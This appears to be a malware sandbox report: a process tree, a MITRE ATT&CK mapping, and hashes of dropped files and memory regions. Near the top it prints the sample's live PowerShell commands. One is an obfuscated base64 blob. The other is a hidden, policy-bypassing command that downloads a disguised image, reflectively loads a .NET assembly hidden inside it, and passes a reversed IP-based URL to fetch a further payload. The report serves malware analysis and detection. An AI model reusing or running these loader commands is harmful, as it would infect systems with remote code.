TreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBhDgTreHDgTreDgTrecwBuDgTreGUDgTreawDgTrevDgTreDIDgTreNQDgTreuDgTreDgDgTreNDgTreDgTreuDgTreDDgTreDgTreMQDgTrexDgTreC4DgTreOQDgTre3DgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZgBkDgTreGYDgTreZDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBmDgTreGQDgTreZgDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBmDgTreGQDgTreZgDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBhDgTreGQDgTrecwBhDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGMDgTredQDgTrenDgTreCkDgTreKQDgTre='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('DgTre','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.apsnek/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
64f94c0bc61402dc1caa83395ba141db

SHA1
ec14f7a4ce71db62aa9aa1fa782522be8cfee14f

SHA256
26ac66acf86613c65ff2ba1114e59ed04f8ab3bf27b7731a74e96dc521a9b8f6

SHA512
47386fab5e95e95d771dcbc0f9a216616439b249efa1b095eacca1933edae1353830017aafd028b469ee31418a0a0272741284e9ddaf256e296142ce3bb4a091

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab67BA.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6934.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VKJ8363XUX4EP802LDUA.temp

Filesize
7KB

MD5
2a84a95c882bacc3e6a9ba8127fff8e9

SHA1
d477e061cc5f20b6988f2bccd82927c0e39a2e6b

SHA256
91795b933ada3c97985a8f5634891176cee297ce974b01104915dd3d675e1619

SHA512
fdc1434fc123283e0df588b506ff925243baf9ab0cc5a4083b1fd86d9829982064cbd3670243dafb4b384a6d71e1ff7b0690aa8b345c9dad38b72a4b3d69601f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
2a84a95c882bacc3e6a9ba8127fff8e9

SHA1
d477e061cc5f20b6988f2bccd82927c0e39a2e6b

SHA256
91795b933ada3c97985a8f5634891176cee297ce974b01104915dd3d675e1619

SHA512
fdc1434fc123283e0df588b506ff925243baf9ab0cc5a4083b1fd86d9829982064cbd3670243dafb4b384a6d71e1ff7b0690aa8b345c9dad38b72a4b3d69601f

Download Submit
C:\Users\Admin\AppData\Roaming\kdffxyu.vbs

Filesize
177KB

MD5
a32b1ecc7fc8c489e23976d324d5c4aa

SHA1
40208ac331bf4ac95db4703d7dcdb93b0b8cd191

SHA256
903e28bd1314d9190509e682e4f646eceb7c4b57b549ffff5ba15c9a888c4979

SHA512
acab215a0adffef1f54068c86cc51183ae53b332818f5ae0248f16b9644a47294422977431dc88836096c2049b1ee4201b199a5528d4afaedc21089fd02b0a64

Download Submit
C:\Users\Admin\AppData\Roaming\kdffxyu.vbs

Filesize
177KB

MD5
a32b1ecc7fc8c489e23976d324d5c4aa

SHA1
40208ac331bf4ac95db4703d7dcdb93b0b8cd191

SHA256
903e28bd1314d9190509e682e4f646eceb7c4b57b549ffff5ba15c9a888c4979

SHA512
acab215a0adffef1f54068c86cc51183ae53b332818f5ae0248f16b9644a47294422977431dc88836096c2049b1ee4201b199a5528d4afaedc21089fd02b0a64

Download Submit
memory/2072-1-0x00000000724DD000-0x00000000724E8000-memory.dmp

Filesize
44KB

Download
memory/2072-90-0x00000000724DD000-0x00000000724E8000-memory.dmp

Filesize
44KB

Download
memory/2072-89-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2072-19-0x00000000724DD000-0x00000000724E8000-memory.dmp

Filesize
44KB

Download
memory/2072-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2124-20-0x000000006C480000-0x000000006CA2B000-memory.dmp

Filesize
5.7MB

Download
memory/2124-23-0x0000000002960000-0x00000000029A0000-memory.dmp

Filesize
256KB

Download
memory/2124-22-0x0000000002960000-0x00000000029A0000-memory.dmp

Filesize
256KB

Download
memory/2124-21-0x000000006C480000-0x000000006CA2B000-memory.dmp

Filesize
5.7MB

Download
memory/2124-86-0x000000006C480000-0x000000006CA2B000-memory.dmp

Filesize
5.7MB

Download
memory/2676-24-0x000000006C480000-0x000000006CA2B000-memory.dmp

Filesize
5.7MB

Download
memory/2676-13-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/2676-87-0x000000006C480000-0x000000006CA2B000-memory.dmp

Filesize
5.7MB

Download
memory/2676-12-0x000000006C480000-0x000000006CA2B000-memory.dmp

Filesize
5.7MB

Download
memory/2676-11-0x000000006C480000-0x000000006CA2B000-memory.dmp

Filesize
5.7MB

Download